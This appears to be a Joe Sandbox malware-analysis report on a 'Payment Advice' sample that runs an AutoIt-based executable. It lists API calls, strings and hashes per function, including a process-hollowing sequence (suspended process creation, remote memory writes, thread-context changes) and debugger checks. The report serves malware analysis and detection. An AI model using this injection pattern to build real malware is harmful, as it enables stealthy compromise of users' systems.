Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: e6960048b1456675615e28d65f77d9dfeb3f875a374f6f6e13bc875da92fb780
Instruction ID: 2b34cc5a235c2414c60f60b3d8868993fc2dbc38f1e0d243ce89fdd732a29114
Opcode Fuzzy Hash: e6960048b1456675615e28d65f77d9dfeb3f875a374f6f6e13bc875da92fb780
Instruction Fuzzy Hash: 27D02E329089313BE7203324AC0ECAE3D04FB62332F200B04F139622E2CA244DD56A96

Uniqueness

Uniqueness Score: -1.00%

Function 0050E29E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,0050DA55,?), ref: 0050E2A3
FindResourceW.KERNEL32(00000000,RTL,00000005,?,0050DA55,?), ref: 0050E2B1

Strings

RTL, xrefs: 0050E2AB

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: 16b8ea94ca86e60bf92892813cca4a592905857a2518451cd124933814bf5765
Instruction ID: ab8953d44794e6dd8d95200373294565fad5e4a50807ad7ca52fafe2a48355dd
Opcode Fuzzy Hash: 16b8ea94ca86e60bf92892813cca4a592905857a2518451cd124933814bf5765
Instruction Fuzzy Hash: C3C0123164071066EB352764AD4EB876E586B20B12F090848B281EE2D1DAA5C98896A0

Uniqueness

Uniqueness Score: -1.00%

Function 0051E455 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E467

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

UQ, xrefs: 0051E455
zQ, xrefs: 0051E461

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: UQ$zQ
API String ID: 1269201914-3645726421
Opcode ID: b161809464269b26a5ca6722982a8e60a1d691b290f1076aaa8d20720c3249b3
Instruction ID: d1299ead132e042cc18a8c6d4edad7f944445ed8455be94ca9f509cdd9bc23c5
Opcode Fuzzy Hash: b161809464269b26a5ca6722982a8e60a1d691b290f1076aaa8d20720c3249b3
Instruction Fuzzy Hash: 1BB012D1258001BC320415141D0BC771F0CF9C0F20730C52EFE01D0082DAC10EC70432

Uniqueness

Uniqueness Score: -1.00%

Function 0051E470 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E467

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

pQ, xrefs: 0051E470
zQ, xrefs: 0051E461

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: pQ$zQ
API String ID: 1269201914-780565824
Opcode ID: b7db74328c2463961b5086b2db19b408399f4627a5070c4cf52bb44ef02502f7
Instruction ID: 92246cea67fc45063369d4111d4bc7324a36b0301fd6cb626343c353c93ed5a0
Opcode Fuzzy Hash: b7db74328c2463961b5086b2db19b408399f4627a5070c4cf52bb44ef02502f7
Instruction Fuzzy Hash: 08B012C1659042BC3204D1181C0BC770E4CF8C0B60730842EFC05C1081DAC04CC70532

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ewdbwwfpdh.bmpPID: 6052, Parent PID: 2564COMMON

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	81

Executed Functions

Function 00175D78 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00175DA7

Part of subcall function 001784B7: _wcslen.LIBCMT ref: 001784CA

GetCurrentProcess.KERNEL32(?,0020DC2C,00000000,?,?), ref: 00175ED3
IsWow64Process.KERNEL32(00000000,?,?), ref: 00175EDA
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 00175F05
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00175F17
GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 00175F25
FreeLibrary.KERNEL32(00000000,?,?), ref: 00175F2C
GetSystemInfo.KERNEL32(?,?,?), ref: 00175F51

Strings

GetNativeSystemInfo, xrefs: 00175F11
|O, xrefs: 001B4F80
kernel32.dll, xrefs: 00175F00

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: a71bd7de9ee500645ecc7a044821f513bc002cb51639dcc3e5d68587b225815f
Instruction ID: ac7c0ce2543bc5b7068f8ffe0e209ff8399f76fd82c1713c860a15bb84f73baa
Opcode Fuzzy Hash: a71bd7de9ee500645ecc7a044821f513bc002cb51639dcc3e5d68587b225815f
Instruction Fuzzy Hash: 92A1733A91A7C0CFC715DFAB7C481A97F75AB27300B84A8D9F48597262C778498CCB25

Uniqueness

Uniqueness Score: -1.00%

Function 00173312 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 148
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,?,?,001732EF,?), ref: 00173342
IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,001732EF,?), ref: 00173355
GetFullPathNameW.KERNEL32(00007FFF,?,?,00242418,00242400,?,?,?,?,?,?,001732EF,?), ref: 001733C1

Part of subcall function 001784B7: _wcslen.LIBCMT ref: 001784CA

Part of subcall function 001741E6: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,001733E9,00242418,?,?,?,?,?,?,?,001732EF,?), ref: 00174227

SetCurrentDirectoryW.KERNELBASE(?,00000001,00242418,?,?,?,?,?,?,?,001732EF,?), ref: 00173442
MessageBoxA.USER32(00000000,It is a violation of the AutoIt EULA to attempt to reverse engineer this program.,AutoIt,00000010), ref: 001B3C8A
SetCurrentDirectoryW.KERNEL32(?,00242418,?,?,?,?,?,?,?,001732EF,?), ref: 001B3CCB
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,002331F4,00242418,?,?,?,?,?,?,?,001732EF), ref: 001B3D54
ShellExecuteW.SHELL32(00000000,?,?), ref: 001B3D5B

Part of subcall function 0017345A: GetSysColorBrush.USER32(0000000F), ref: 00173465
Part of subcall function 0017345A: LoadCursorW.USER32(00000000,00007F00), ref: 00173474
Part of subcall function 0017345A: LoadIconW.USER32(00000063), ref: 0017348A
Part of subcall function 0017345A: LoadIconW.USER32(000000A4), ref: 0017349C
Part of subcall function 0017345A: LoadIconW.USER32(000000A2), ref: 001734AE
Part of subcall function 0017345A: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 001734C6
Part of subcall function 0017345A: RegisterClassExW.USER32(?), ref: 00173517

Part of subcall function 0017353A: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00173568
Part of subcall function 0017353A: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00173589
Part of subcall function 0017353A: ShowWindow.USER32(00000000,?,?,?,?,?,?,001732EF,?), ref: 0017359D
Part of subcall function 0017353A: ShowWindow.USER32(00000000,?,?,?,?,?,?,001732EF,?), ref: 001735A6

Part of subcall function 001738F2: Shell_NotifyIconW.SHELL32(00000000,?), ref: 001739C3

Strings

runas, xrefs: 001B3D4F
It is a violation of the AutoIt EULA to attempt to reverse engineer this program., xrefs: 001B3C84
AutoIt, xrefs: 001B3C7F
0$$, xrefs: 0017341C

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__wcslen
String ID: 0$$$AutoIt$It is a violation of the AutoIt EULA to attempt to reverse engineer this program.$runas
API String ID: 683915450-3958038770
Opcode ID: 813d14e33b7b1f2ed4e96ea7a4369c99e264e500a1a61c761519d442ccd64684
Instruction ID: 424922c2176591745f0ceaa9b60b48b8eb0dac3d2eb8ebdebf2c5bc1524a425b
Opcode Fuzzy Hash: 813d14e33b7b1f2ed4e96ea7a4369c99e264e500a1a61c761519d442ccd64684
Instruction Fuzzy Hash: 7E51FA31108341EAC719EFA1EC499AE7FB8DFA5704F80846DF499521A2CB708A5DDB62

Uniqueness

Uniqueness Score: -1.00%

Function 010DD91A Relevance: 13.5, APIs: 8, Instructions: 1513threadinjectionprocessCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?,00000042,0000002A,0000002E,?,16B3FE88,00000000), ref: 010DE6E7
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040,0000002E,00000022,?,6E1A959C,00000000,?,?,0000002E,00000022,?,F21037D0), ref: 010DE749
WriteProcessMemory.KERNELBASE ref: 010DE797
WriteProcessMemory.KERNELBASE(00000026,0000003E,00000026,?,CF14E85B,00000012), ref: 010DE87D
Wow64GetThreadContext.KERNEL32(?,?,0000002E,00000032,?,68A7C7D2,00000000,00000032,0000003A,00000036,?,CF14E85B,00000012), ref: 010DE8D5
WriteProcessMemory.KERNELBASE(?,68A7C7D2,00000000,00000032,0000003A,00000036,?,CF14E85B,00000012), ref: 010DE921
Wow64SetThreadContext.KERNEL32(?,?,0000002E,00000032,?,E8A7C7D3,00000000,00000032,00000022,?,68A7C7D2,00000000,00000032,0000003A,00000036), ref: 010DE96C
ResumeThread.KERNELBASE(?,0000002E,?,9E4A3F88,00000000,?,0000002E,00000032,?,E8A7C7D3,00000000,00000032,00000022,?,68A7C7D2,00000000), ref: 010DE98C

Memory Dump Source

Source File: 00000006.00000003.1580860266.00000000010D9000.00000004.00000020.00020000.00000000.sdmp, Offset: 010D9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_10d9000_ewdbwwfpdh.jbxd

Similarity

API ID: Process$MemoryThreadWrite$ContextWow64$AllocCreateResumeVirtual
String ID:
API String ID: 2613161777-0
Opcode ID: 17ffb71a541176d874e6044af2fdb43a82506bdb40e88a815aefbf2af866df07
Instruction ID: 2f6465a0692248f980432adef56549bc1c6242fea6a7e644c9ce389dbf9de1f8
Opcode Fuzzy Hash: 17ffb71a541176d874e6044af2fdb43a82506bdb40e88a815aefbf2af866df07
Instruction Fuzzy Hash: AD0227A068A3C16FE343A7B0CC61B957F319F57604F1A54DEE2C49F1E3C9AA5805CB62

Uniqueness

Uniqueness Score: -1.00%

Function 010DD91A Relevance: 13.5, APIs: 8, Instructions: 1513threadinjectionprocessCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?,00000042,0000002A,0000002E,?,16B3FE88,00000000), ref: 010DE6E7
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040,0000002E,00000022,?,6E1A959C,00000000,?,?,0000002E,00000022,?,F21037D0), ref: 010DE749
WriteProcessMemory.KERNELBASE ref: 010DE797
WriteProcessMemory.KERNELBASE(00000026,0000003E,00000026,?,CF14E85B,00000012), ref: 010DE87D
Wow64GetThreadContext.KERNEL32(?,?,0000002E,00000032,?,68A7C7D2,00000000,00000032,0000003A,00000036,?,CF14E85B,00000012), ref: 010DE8D5
WriteProcessMemory.KERNELBASE(?,68A7C7D2,00000000,00000032,0000003A,00000036,?,CF14E85B,00000012), ref: 010DE921
Wow64SetThreadContext.KERNEL32(?,?,0000002E,00000032,?,E8A7C7D3,00000000,00000032,00000022,?,68A7C7D2,00000000,00000032,0000003A,00000036), ref: 010DE96C
ResumeThread.KERNELBASE(?,0000002E,?,9E4A3F88,00000000,?,0000002E,00000032,?,E8A7C7D3,00000000,00000032,00000022,?,68A7C7D2,00000000), ref: 010DE98C

Memory Dump Source

Source File: 00000006.00000003.1580860266.00000000010D9000.00000004.00000020.00020000.00000000.sdmp, Offset: 010DB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_10d9000_ewdbwwfpdh.jbxd

Similarity

API ID: Process$MemoryThreadWrite$ContextWow64$AllocCreateResumeVirtual
String ID:
API String ID: 2613161777-0
Opcode ID: 17ffb71a541176d874e6044af2fdb43a82506bdb40e88a815aefbf2af866df07
Instruction ID: 2f6465a0692248f980432adef56549bc1c6242fea6a7e644c9ce389dbf9de1f8
Opcode Fuzzy Hash: 17ffb71a541176d874e6044af2fdb43a82506bdb40e88a815aefbf2af866df07
Instruction Fuzzy Hash: AD0227A068A3C16FE343A7B0CC61B957F319F57604F1A54DEE2C49F1E3C9AA5805CB62

Uniqueness

Uniqueness Score: -1.00%

Function 010DD91A Relevance: 13.5, APIs: 8, Instructions: 1513threadinjectionprocessCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?,00000042,0000002A,0000002E,?,16B3FE88,00000000), ref: 010DE6E7
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040,0000002E,00000022,?,6E1A959C,00000000,?,?,0000002E,00000022,?,F21037D0), ref: 010DE749
WriteProcessMemory.KERNELBASE ref: 010DE797
WriteProcessMemory.KERNELBASE(00000026,0000003E,00000026,?,CF14E85B,00000012), ref: 010DE87D
Wow64GetThreadContext.KERNEL32(?,?,0000002E,00000032,?,68A7C7D2,00000000,00000032,0000003A,00000036,?,CF14E85B,00000012), ref: 010DE8D5
WriteProcessMemory.KERNELBASE(?,68A7C7D2,00000000,00000032,0000003A,00000036,?,CF14E85B,00000012), ref: 010DE921
Wow64SetThreadContext.KERNEL32(?,?,0000002E,00000032,?,E8A7C7D3,00000000,00000032,00000022,?,68A7C7D2,00000000,00000032,0000003A,00000036), ref: 010DE96C
ResumeThread.KERNELBASE(?,0000002E,?,9E4A3F88,00000000,?,0000002E,00000032,?,E8A7C7D3,00000000,00000032,00000022,?,68A7C7D2,00000000), ref: 010DE98C

Memory Dump Source

Source File: 00000006.00000003.1580860266.00000000010D9000.00000004.00000020.00020000.00000000.sdmp, Offset: 010DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_10d9000_ewdbwwfpdh.jbxd

Similarity

API ID: Process$MemoryThreadWrite$ContextWow64$AllocCreateResumeVirtual
String ID:
API String ID: 2613161777-0
Opcode ID: 17ffb71a541176d874e6044af2fdb43a82506bdb40e88a815aefbf2af866df07
Instruction ID: 2f6465a0692248f980432adef56549bc1c6242fea6a7e644c9ce389dbf9de1f8
Opcode Fuzzy Hash: 17ffb71a541176d874e6044af2fdb43a82506bdb40e88a815aefbf2af866df07
Instruction Fuzzy Hash: AD0227A068A3C16FE343A7B0CC61B957F319F57604F1A54DEE2C49F1E3C9AA5805CB62

Uniqueness

Uniqueness Score: -1.00%

Function 001DDC9C Relevance: 6.1, APIs: 4, Instructions: 86processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 001DDCC1
Process32FirstW.KERNEL32(00000000,?), ref: 001DDCCF
Process32NextW.KERNEL32(00000000,?), ref: 001DDCEF
FindCloseChangeNotification.KERNELBASE(00000000), ref: 001DDD9C

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32
String ID:
API String ID: 3243318325-0
Opcode ID: 4fa46ecbdfc6d64130a2118d3f4528ff7a5da879808339b65037c6537906d2d9
Instruction ID: 6a7c78551dee6248d37bb4ac9f5f35065c534776035888d1d5fc4159f1849d5f
Opcode Fuzzy Hash: 4fa46ecbdfc6d64130a2118d3f4528ff7a5da879808339b65037c6537906d2d9
Instruction Fuzzy Hash: C731A2711083009FD701EFA4DC85BAFBBF8AF98354F04482DF589872A2EB719944CB92

Uniqueness

Uniqueness Score: -1.00%

Function 001DE387 Relevance: 6.0, APIs: 4, Instructions: 29filestringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,001B4686), ref: 001DE397
GetFileAttributesW.KERNELBASE(?), ref: 001DE3A6
FindFirstFileW.KERNELBASE(?,?), ref: 001DE3B7
FindClose.KERNEL32(00000000), ref: 001DE3C3

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: fb02ae9c62219a780c3072de13eb6f3d4719a3fc7f9f65cffd505178e27d1b84
Instruction ID: d6da26dff2fb4bdbb2ff8a1dbcc22d14fece510e9f693f479405d6d96d1cdf51
Opcode Fuzzy Hash: fb02ae9c62219a780c3072de13eb6f3d4719a3fc7f9f65cffd505178e27d1b84
Instruction Fuzzy Hash: 86F0A030412A106BC211777CAC0D8BA7BECAE41336B504712F835C22F6DBB099A54695

Uniqueness

Uniqueness Score: -1.00%

Function 00195078 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,0019504E,?,002398D8,0000000C,001951A5,?,00000002,00000000), ref: 00195099
TerminateProcess.KERNEL32(00000000,?,0019504E,?,002398D8,0000000C,001951A5,?,00000002,00000000), ref: 001950A0
ExitProcess.KERNEL32 ref: 001950B2

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: d90e1c284165c8cdf0838e25d83234297c7d4c209b91540beb61ec7d51893aff
Instruction ID: e39748eac7d7164b6a5b6594c4b44aae4256fe661299f5f9a411276ec925840b
Opcode Fuzzy Hash: d90e1c284165c8cdf0838e25d83234297c7d4c209b91540beb61ec7d51893aff
Instruction Fuzzy Hash: 09E0B631401648AFCF226FA4ED0DE597B6AEB51381F044054F8599A132DB75DD42CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00173E15 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

#OnAutoItStartRegister, xrefs: 00173EB4
#ce, xrefs: 00173F8A
#notrayicon, xrefs: 00173E84
#include, xrefs: 00173EE4
Unterminated group of comments, xrefs: 001B46F0
', xrefs: 001B45CD
Bad directive syntax error, xrefs: 001B45FE
#include-once, xrefs: 00173ECC
#pragma compile, xrefs: 00173E70
#requireadmin, xrefs: 00173E9C
", xrefs: 001B45B7
Cannot parse #include, xrefs: 001B46DD
#comments-end, xrefs: 00173F76
#cs, xrefs: 00173F10, 00173F62
#comments-start, xrefs: 00173EFC, 00173F4E

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID:
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 0-1645009161
Opcode ID: 561603c6243034574f5ff7e391276d3487052bdf833274ecd1339276e926e7bd
Instruction ID: 268b320cdc3de70687cd1117b2b7bfcdf4d2e9258c04dab5f456399303ce1560
Opcode Fuzzy Hash: 561603c6243034574f5ff7e391276d3487052bdf833274ecd1339276e926e7bd
Instruction Fuzzy Hash: E781F671A44205BBDF21AF64DC42FEE3BB8AF29750F048024F909AB197EB70DA51D791

Uniqueness

Uniqueness Score: -1.00%

Function 0017EDFE Relevance: 21.6, APIs: 14, Instructions: 616windowsleeptimeCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 0017EEB7
timeGetTime.WINMM ref: 0017F0B7
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0017F1D8
TranslateMessage.USER32(?), ref: 0017F22B
DispatchMessageW.USER32(?), ref: 0017F239
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0017F24F
Sleep.KERNELBASE(0000000A), ref: 0017F261

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
String ID:
API String ID: 2189390790-0
Opcode ID: 13c74c600f089690bc0a7e3d35189909d8d704363576e23d6c2cc4cdf0148dd1
Instruction ID: eadbaeec70a85aed8ce285462194daf8f309f9a667698dee49f4f98c4636be55
Opcode Fuzzy Hash: 13c74c600f089690bc0a7e3d35189909d8d704363576e23d6c2cc4cdf0148dd1
Instruction Fuzzy Hash: 1732BC70608341DFDB28CB24C848FAAB7F5BFA5304F54856DF46987292C771E989CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00173696 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,00173690,?,?), ref: 001736FE
KillTimer.USER32(?,00000001,?,?,?,?,?,00173690,?,?), ref: 0017372A
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 0017374D
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,00173690,?,?), ref: 00173758
CreatePopupMenu.USER32 ref: 0017376C
PostQuitMessage.USER32(00000000), ref: 0017378D

Strings

0$$, xrefs: 001B3DD1
TaskbarCreated, xrefs: 00173753
0$$, xrefs: 001B3D83

Memory Dump Source

